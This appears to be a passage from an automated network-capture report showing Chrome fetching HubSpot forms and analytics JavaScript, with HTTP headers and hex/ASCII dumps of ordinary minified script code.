x-evy-trace-route-configuration: listener_https/all
2024-12-16 17:45:25 UTC	895	IN	Data Raw: 78 2d 72 65 71 75 65 73 74 2d 69 64 3a 20 35 63 61 33 38 31 33 65 2d 65 31 32 34 2d 34 62 36 31 2d 62 65 61 37 2d 37 35 33 34 36 37 37 66 37 37 61 31 0d 0a 63 61 63 68 65 2d 74 61 67 3a 20 73 74 61 74 69 63 6a 73 61 70 70 2d 66 6f 72 6d 73 2d 65 6d 62 65 64 2d 76 33 2d 77 65 62 2d 70 72 6f 64 2c 73 74 61 74 69 63 6a 73 61 70 70 2d 70 72 6f 64 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 48 49 54 0d 0a 41 67 65 3a 20 34 32 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 45 37 55 32 53 36 31 71 72 49 65 6b 2e 6a 4e 7a 4f 4b 46 6d 63 68 64 52 43 74 7a 7a 6c 78 4c 7a 67 32 78 6c 46 48 50 67 70 65 59 2d 31 37 33 34 33 37 31 31 32 35 2d 31 2e 30 2e 31 2e 31 2d 4b 54 4b 4e 73 58 4d 58 43 52 76 48 71 77 4c 51 32 58 45 35 43 55 38 62 Data Ascii: x-request-id: 5ca3813e-e124-4b61-bea7-7534677f77a1cache-tag: staticjsapp-forms-embed-v3-web-prod,staticjsapp-prodCF-Cache-Status: HITAge: 42Set-Cookie: __cf_bm=E7U2S61qrIek.jNzOKFmchdRCtzzlxLzg2xlFHPgpeY-1734371125-1.0.1.1-KTKNsXMXCRvHqwLQ2XE5CU8b
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 74 5b 72 5d 29 72 65 74 75 72 6e 20 74 5b 72 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 61 3d 74 5b 72 5d 3d 7b 69 3a 72 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 5b 72 5d 2e 63 61 6c 6c 28 61 2e 65 78 70 6f 72 74 73 2c 61 2c 61 2e 65 78 70 6f 72 74 73 2c 6e 29 3b 61 2e 6c 3d 21 30 3b 72 65 74 75 72 6e 20 61 2e 65 78 70 6f 72 74 73 7d 6e 2e 6d 3d 65 3b 6e 2e 63 3d 74 3b 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 72 7d 29 7d 3b 6e Data Ascii: 7ff9!function(e){var t={};function n(r){if(t[r])return t[r].exports;var a=t[r]={i:r,l:!1,exports:{}};e[r].call(a.exports,a,a.exports,n);a.l=!0;return a.exports}n.m=e;n.c=t;n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})};n
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 61 5b 6e 5d 3d 65 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 61 7d 7d 2c 22 2b 5a 32 53 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 72 3d 28 65 3d 7b 7d 2c 74 3d 22 22 2c 6e 2c 61 3d 7b 7d 29 3d 3e 7b 63 6f 6e 73 74 5b 69 2c 2e 2e 2e 6f 5d 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 3b 69 66 28 30 3d 3d 3d 6f 2e 6c 65 6e 67 74 68 29 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 29 26 26 21 61 2e 6f 76 65 72 77 72 69 74 65 7c 7c 28 65 5b 74 5d 3d 6e 29 3b 65 6c 73 65 7b 28 21 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 7c 7c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 69 29 26 26 21 65 5b 69 5d 29 26 26 28 65 5b 69 5d 3d 7b 7d 29 3b 72 28 Data Ascii: xOf(n)>=0\|\|(a[n]=e[n])}return a}},"+Z2S":function(e,t,n){"use strict";const r=(e={},t="",n,a={})=>{const[i,...o]=t.split(".");if(0===o.length)e.hasOwnProperty(t)&&!a.overwrite\|\|(e[t]=n);else{(!e.hasOwnProperty(i)\|\|e.hasOwnProperty(i)&&!e[i])&&(e[i]={});r(
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 36 4e 66 77 22 29 3b 63 6f 6e 73 74 20 64 3d 65 3d 3e 65 2e 73 70 6c 69 74 28 22 40 22 29 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 66 3d 65 3d 3e 65 2e 62 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 41 64 64 72 65 73 73 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 65 3d 3e 65 2e 74 72 69 6d 28 29 29 3b 76 61 72 20 70 3d 28 65 3d 7b 7d 2c 74 2c 6e 29 3d 3e 7b 63 6f 6e 73 74 20 72 3d 5b 5d 2c 61 3d 5b 5d 2c 69 3d 64 28 65 2e 65 6d 61 69 6c 29 2c 6f 3d 5b 2e 2e 2e 66 28 65 29 2c 2e 2e 2e 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3f 65 2e 63 6f 6e 74 65 78 74 42 6c 6f 63 6b 65 64 44 6f 6d 61 69 6e 73 3a 5b 5d 5d 2c 73 3d 21 21 65 2e 73 75 63 63 65 73 73 2c 6c 3d 21 21 65 2e 65 6d 61 69 6c 53 68 6f 75 6c 64 52 65 73 75 Data Ascii: 6Nfw");const d=e=>e.split("@")[1].toLowerCase(),f=e=>e.blockedDomainAddresses.split(",").map(e=>e.trim());var p=(e={},t,n)=>{const r=[],a=[],i=d(e.email),o=[...f(e),...e.contextBlockedDomains?e.contextBlockedDomains:[]],s=!!e.success,l=!!e.emailShouldResu
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 29 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 7d 29 29 3b 6e 2e 64 28 74 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 55 7d 29 29 3b 66 75 6e 63 74 69 6f 6e 20 54 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 76 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 61 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 45 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 72 65 74 75 72 6e 7b 74 79 70 65 3a 72 2e 6b 2c 70 61 79 6c 6f 61 64 3a 65 7d 7d 63 Data Ascii: unction(){return P}));n.d(t,"a",(function(){return F}));n.d(t,"b",(function(){return U}));function T(e){return{type:r.v,payload:e}}function x(e){return{type:r.a,payload:e}}function A(e){return{type:r.E,payload:e}}function L(e){return{type:r.k,payload:e}}c
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 7d 2c 55 3d 28 5b 65 2c 74 5d 29 3d 3e 28 6e 2c 72 29 3d 3e 7b 63 6f 6e 73 74 20 61 3d 72 28 29 2c 73 3d 4f 62 6a 65 63 74 28 6f 2e 79 29 28 61 29 2c 63 3d 4f 62 6a 65 63 74 28 6f 2e 6b 29 28 61 29 2c 64 3d 4f 62 6a 65 63 74 28 6c 2e 61 29 28 61 29 2c 66 3d 4f 62 6a 65 63 74 28 69 2e 61 29 28 61 2c 74 29 3b 69 66 28 21 4f 62 6a 65 63 74 28 79 2e 61 29 28 74 29 26 26 4f 62 6a 65 63 74 28 75 2e 62 29 28 74 29 29 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 64 29 29 3b 6b 28 7b 75 72 6c 3a 64 2c 70 6f 72 74 61 6c 49 64 3a 73 2c 66 6f 72 6d 49 64 3a 63 2c 65 6d 61 69 6c 3a 74 7d 29 2e 74 68 65 6e 28 28 29 3d 3e 7b 6e 28 4f 62 6a 65 63 74 28 76 2e 63 29 28 45 2e 66 29 29 3b 6e 28 41 28 5b 74 2c 7b 72 65 73 75 62 73 63 72 69 62 65 64 3a 21 30 7d 5d 29 29 Data Ascii: },U=([e,t])=>(n,r)=>{const a=r(),s=Object(o.y)(a),c=Object(o.k)(a),d=Object(l.a)(a),f=Object(i.a)(a,t);if(!Object(y.a)(t)&&Object(u.b)(t)){n(Object(v.c)(E.d));k({url:d,portalId:s,formId:c,email:t}).then(()=>{n(Object(v.c)(E.f));n(A([t,{resubscribed:!0}]))
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 45 72 72 6f 72 7d 29 3b 63 61 73 65 22 73 65 74 46 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 22 3a 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 65 2c 7b 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 3a 74 2e 66 6f 72 6d 53 75 62 6d 69 73 73 69 6f 6e 57 61 72 6e 69 6e 67 7d 29 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 20 65 7d 7d 2c 6c 3d 4f 62 6a 65 63 74 28 61 2e 61 29 28 5b 6f 2c 28 29 3d 3e 6e 75 6c 6c 5d 29 2c 75 3d 28 7b 63 68 69 6c 64 72 65 6e 3a 65 7d 29 Data Ascii: bmissionError":return Object.assign({},e,{formSubmissionError:t.formSubmissionError});case"setFormSubmissionWarning":return Object.assign({},e,{formSubmissionWarning:t.formSubmissionWarning});default:return e}},l=Object(a.a)([o,()=>null]),u=({children:e})
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 62 65 6c 3a 4f 62 6a 65 63 74 28 75 2e 61 29 28 65 2c 22 66 69 65 6c 64 4c 61 62 65 6c 73 2e 22 2b 74 2e 69 64 2c 7b 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 74 2e 6c 61 62 65 6c 7d 29 7d 2c 7b 73 68 6f 75 6c 64 53 68 6f 77 43 6f 75 6e 74 72 79 44 72 6f 70 64 6f 77 6e 3a 74 2e 66 69 65 6c 64 54 79 70 65 3d 3d 3d 64 2e 6d 3f 4f 62 6a 65 63 74 28 66 2e 62 29 28 65 2c 74 29 3a 6e 75 6c 6c 7d 2c 7b 6c 6f 63 61 6c 65 3a 4f 62 6a 65 63 74 28 70 2e 61 29 28 65 29 7d 29 2c 62 3d 28 65 2c 7b 66 69 65 6c 64 3a 74 7d 29 3d 3e 28 7b 75 70 64 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 67 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 49 6e 70 75 74 53 74 61 74 65 3a 6e 3d 3e 65 28 4f 62 6a 65 63 74 28 69 2e 65 29 28 5b 74 2c 6e 5d 29 29 2c 75 70 64 61 74 65 Data Ascii: bel:Object(u.a)(e,"fieldLabels."+t.id,{defaultValue:t.label})},{shouldShowCountryDropdown:t.fieldType===d.m?Object(f.b)(e,t):null},{locale:Object(p.a)(e)}),b=(e,{field:t})=>({update:n=>e(Object(i.g)([t,n])),updateInputState:n=>e(Object(i.e)([t,n])),update
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 3b 63 61 73 65 22 73 74 61 74 65 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 31 22 3b 63 61 73 65 22 61 64 64 72 65 73 73 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 69 6e 65 31 22 3b 63 61 73 65 22 63 69 74 79 22 3a 72 65 74 75 72 6e 22 61 64 64 72 65 73 73 2d 6c 65 76 65 6c 32 22 3b 63 61 73 65 22 63 6f 75 6e 74 72 79 22 3a 72 65 74 75 72 6e 22 63 6f 75 6e 74 72 79 2d 6e 61 6d 65 22 3b 63 61 73 65 22 7a 69 70 22 3a 72 65 74 75 72 6e 22 70 6f 73 74 61 6c 2d 63 6f 64 65 22 3b 64 65 66 61 75 6c 74 3a 72 65 74 75 72 6e 7d 7d 3b 74 2e 61 3d 72 7d 2c 22 32 52 46 69 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 22 70 6d 67 66 22 29 3b 76 61 72 20 61 3d 65 3d Data Ascii: ;case"state":return"address-level1";case"address":return"address-line1";case"city":return"address-level2";case"country":return"country-name";case"zip":return"postal-code";default:return}};t.a=r},"2RFi":function(e,t,n){"use strict";var r=n("pmgf");var a=e=
2024-12-16 17:45:25 UTC	1369	IN	Data Raw: 65 63 74 28 72 2e 61 29 28 74 29 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 61 2e 61 29 28 6e 29 3f 6e 75 6c 6c 3a 60 24 7b 65 7d 3a 20 24 7b 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 7d 60 7d 2c 6f 3d 6e 28 22 47 33 49 50 22 29 3b 6e 2e 64 28 74 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 29 29 3b 63 6f 6e 73 74 20 73 3d 65 3d 3e 28 7b 74 79 70 65 3a 6f 2e 62 2c 70 61 79 6c 6f 61 64 3a 65 7d 29 2c 6c 3d 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3d 3e 6e 3d 3e 7b 63 6f 6e 73 74 20 72 3d 69 28 7b 6d 65 73 73 61 67 65 3a 65 2c 70 72 6f 70 65 72 74 69 65 73 3a 74 7d 29 3b 72 26 26 6e 28 73 28 72 29 29 7d 7d 2c 22 32 5a 6b 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b Data Ascii: ect(r.a)(t);return Object(a.a)(n)?null:`${e}: ${JSON.stringify(t)}`},o=n("G3IP");n.d(t,"a",(function(){return l}));const s=e=>({type:o.b,payload:e}),l=({message:e,properties:t})=>n=>{const r=i({message:e,properties:t});r&&n(s(r))}},"2Zks":function(e,t,n){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49732	104.16.140.209	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:25 UTC	529	OUT	GET /48192692.js HTTP/1.1 Host: js.hs-scripts.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:25 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:25 GMT Content-Type: application/javascript;charset=utf-8 Transfer-Encoding: chunked Connection: close vary: origin x-hubspot-correlation-id: 6dac5161-0df5-4a78-8f34-5aa2d811ccc0 access-control-allow-credentials: true x-content-type-options: nosniff access-control-max-age: 3600 access-control-allow-origin: https://share.hsforms.com Last-Modified: Mon, 16 Dec 2024 17:44:45 GMT CF-Cache-Status: HIT Expires: Mon, 16 Dec 2024 17:46:55 GMT Cache-Control: public, max-age=90 Set-Cookie: __cf_bm=ZI8UTvegFNP5rQege.eeteW8cWNW5q._RPGfqKRhh.g-1734371125-1.0.1.1-UBUv7VFQYjMF8QRXzq6U5kaxiNzjkXU6sCwl1PVu0rDXMJgMHmveH3Gs2MIvfM.KCOrK0X2CICuMeYWfMVf0Ng; path=/; expires=Mon, 16-Dec-24 18:15:25 GMT; domain=.hs-scripts.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f307caf5c6d2394-EWR
2024-12-16 17:45:25 UTC	511	IN	Data Raw: 36 31 35 0d 0a 2f 2f 20 48 75 62 53 70 6f 74 20 53 63 72 69 70 74 20 4c 6f 61 64 65 72 2e 20 50 6c 65 61 73 65 20 64 6f 20 6e 6f 74 20 62 6c 6f 63 6b 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 20 53 65 65 20 6d 6f 72 65 3a 20 68 74 74 70 3a 2f 2f 68 75 62 73 2e 6c 79 2f 48 30 37 30 32 5f 48 30 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 29 7b 76 61 72 20 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 63 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 61 6e 61 6c 79 74 69 63 73 2e 6e 65 74 2f 61 6e 61 6c 79 74 69 63 73 2f 31 37 33 34 33 37 30 38 30 30 30 30 30 2f 34 38 31 39 32 36 39 32 2e Data Ascii: 615// HubSpot Script Loader. Please do not block this resource. See more: http://hubs.ly/H0702_H0!function(e,t){if(!document.getElementById(e)){var c=document.createElement("script");c.src="https://js.hs-analytics.net/analytics/1734370800000/48192692.
2024-12-16 17:45:25 UTC	1053	IN	Data Raw: 29 3b 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 69 66 28 21 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 74 29 29 7b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 6e 2e 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 68 73 2d 62 61 6e 6e 65 72 2e 63 6f 6d 2f 76 32 2f 34 38 31 39 32 36 39 32 2f 62 61 6e 6e 65 72 2e 6a 73 22 2c 6e 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 6e 2e 69 64 3d 74 2c 72 29 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 61 29 26 26 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 61 2c 72 5b 61 5d 29 3b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 Data Ascii: );!function(t,e,r){if(!document.getElementById(t)){var n=document.createElement("script");for(var a in n.src="https://js.hs-banner.com/v2/48192692/banner.js",n.type="text/javascript",n.id=t,r)r.hasOwnProperty(a)&&n.setAttribute(a,r[a]);var i=document.get
2024-12-16 17:45:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.17	49734	104.17.172.91	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:27 UTC	406	OUT	GET /forms-submission-pages/static-1.5502/bundles/share-legacy.js HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:27 UTC	1353	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:27 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Mon, 16 Dec 2024 03:21:37 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: z9PfmeMFNNrwSiGNzWxJ_J6GzJiTe1Sd etag: W/"67ae0b5051fa137007227bdfddbbdafe" x-cache: Miss from cloudfront via: 1.1 3042bd56e0ca0a7910df89f6b5e95e9e.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: LfwoCdoVHDYEjyyRII0_c1MUiTuj1hLsAGVCLwiTEWCm93Ei3Og_Aw== CF-Cache-Status: HIT Age: 26265 Expires: Tue, 16 Dec 2025 17:45:27 GMT Cache-Control: public, max-age=31536000 Set-Cookie: __cf_bm=TisDfS5EwCkPQO9w8G49nm2Q3wEv82zBmhpEfkJWsQI-1734371127-1.0.1.1-PNFKVZypApjTtVjs6mS_xRrMB9T1HEFhDH7z0CuKX4RHWpZAXaGqsF6zfpiqqvdiZ8.FyF.R4M2P0JXbYdtD9w; path=/; expires=Mon, 16-Dec-24 18:15:27 GMT; domain=.hsappstatic.net; HttpOnly; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6uZ09GG24QW5vL8UI51LnJ367O4f4O7O9lWGIMKfKCiVWS3zx9S3%2BUgyhnSAIEqu2h1kR8KSl3yi2vHTd%2BMhSOpMWx0op3h%2FgiNoPnK%2Fmvn8lT0nPOavUjDckGzeIs51eQU0iYjYO2c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-12-16 17:45:27 UTC	143	IN	Data Raw: 76 61 72 79 3a 20 4f 72 69 67 69 6e 2c 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 48 65 61 64 65 72 73 2c 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 52 65 71 75 65 73 74 2d 4d 65 74 68 6f 64 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 33 30 37 63 62 61 30 61 64 34 37 64 31 31 2d 45 57 52 0d 0a 0d 0a Data Ascii: vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-MethodServer: cloudflareCF-RAY: 8f307cba0ad47d11-EWR
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 63 36 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 74 3d 22 68 73 66 6f 72 6d 73 22 2c 72 3d 7b 68 73 66 6f 72 6d 73 3a 7b 70 72 6f 64 3a 22 68 73 66 6f 72 6d 73 2e 63 6f 6d 22 2c 71 61 3a 22 68 73 66 6f 72 6d 73 71 61 2e 63 6f 6d 22 7d 7d 2c 6e 3d 22 73 68 61 72 65 22 2c 6f 3d 22 73 75 72 76 65 79 22 2c 65 3d 7b 5b 6e 5d 3a 22 73 68 61 72 65 22 2c 5b 6f 5d 3a 22 73 75 72 76 65 79 22 7d 2c 73 3d 74 3d 3e 74 26 26 22 6e 61 31 22 21 3d 3d 74 3f 60 2d 24 7b 74 7d 60 3a 22 22 2c 61 3d 74 3d 3e 22 6c 6f 63 61 6c 22 3d 3d 3d 74 7c 7c 22 71 61 22 3d 3d 3d 74 3f 22 71 61 22 3a 22 70 72 6f 64 22 2c 69 3d 74 3d 3e 65 5b 74 5d 2c 63 3d 28 74 2c 6e 29 3d 3e 72 5b 74 5d 5b 61 28 6e 29 5d 2c 75 3d 28 72 2c 6e 3d Data Ascii: c6a!function(){"use strict";const t="hsforms",r={hsforms:{prod:"hsforms.com",qa:"hsformsqa.com"}},n="share",o="survey",e={[n]:"share",[o]:"survey"},s=t=>t&&"na1"!==t?`-${t}`:"",a=t=>"local"===t\|\|"qa"===t?"qa":"prod",i=t=>e[t],c=(t,n)=>r[t][a(n)],u=(r,n=
2024-12-16 17:45:27 UTC	1369	IN	Data Raw: 29 3a 28 6c 2d 32 36 29 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2c 55 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 68 2e 65 78 65 63 28 74 29 3b 72 65 74 75 72 6e 20 72 26 26 72 2e 6c 65 6e 67 74 68 3f 72 5b 31 5d 3a 6e 75 6c 6c 7d 2c 78 3d 74 3d 3e 7b 63 6f 6e 73 74 20 72 3d 74 2e 63 68 61 72 41 74 28 30 29 3d 3d 3d 64 2c 6e 3d 72 3f 32 3a 31 2c 6f 3d 24 28 49 28 74 2e 73 75 62 73 74 72 69 6e 67 28 6e 2c 32 32 2b 6e 29 29 29 3b 72 65 74 75 72 6e 7b 66 6f 72 6d 47 75 69 64 3a 72 3f 6f 2e 72 65 70 6c 61 63 65 28 2f 2d 2f 67 2c 22 22 29 3a 6f 2c 70 6f 72 74 61 6c 49 64 3a 70 61 72 73 65 49 6e 74 28 74 2e 73 75 62 73 74 72 69 6e 67 28 32 32 2b 6e 29 2c 33 36 29 2c 76 65 72 73 69 6f 6e 3a 43 28 74 2e 63 68 61 72 41 74 28 6e Data Ascii: ):(l-26).toString(36).toUpperCase(),U=t=>{const r=h.exec(t);return r&&r.length?r[1]:null},x=t=>{const r=t.charAt(0)===d,n=r?2:1,o=$(I(t.substring(n,22+n)));return{formGuid:r?o.replace(/-/g,""):o,portalId:parseInt(t.substring(22+n),36),version:C(t.charAt(n
2024-12-16 17:45:27 UTC	447	IN	Data Raw: 68 28 5b 22 73 65 74 43 61 6e 6f 6e 69 63 61 6c 55 72 6c 22 2c 44 28 29 5d 29 3b 4b 28 29 2e 6f 6e 46 6f 72 6d 52 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 4b 28 29 2e 63 75 72 72 65 6e 74 46 6f 72 6d 2e 73 65 74 43 6f 6e 74 65 78 74 28 7b 70 61 67 65 55 72 6c 3a 42 28 29 2b 22 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 7d 29 3b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6c 6f 61 64 65 64 22 29 7d 29 29 3b 4b 28 29 2e 6f 6e 52 65 6e 64 65 72 45 72 72 6f 72 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 63 6f 6e 74 61 69 6e 65 72 22 29 2e 63 Data Ascii: h(["setCanonicalUrl",D()]);K().onFormReady((function(){K().currentForm.setContext({pageUrl:B()+""+window.location.search});document.querySelector(".container").classList.add("loaded")}));K().onRenderError((function(){document.querySelector(".container").c
2024-12-16 17:45:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.17	49738	104.16.140.209	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:27 UTC	519	OUT	GET /48192692.js HTTP/1.1 Host: js.hs-scripts.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=ZI8UTvegFNP5rQege.eeteW8cWNW5q._RPGfqKRhh.g-1734371125-1.0.1.1-UBUv7VFQYjMF8QRXzq6U5kaxiNzjkXU6sCwl1PVu0rDXMJgMHmveH3Gs2MIvfM.KCOrK0X2CICuMeYWfMVf0Ng
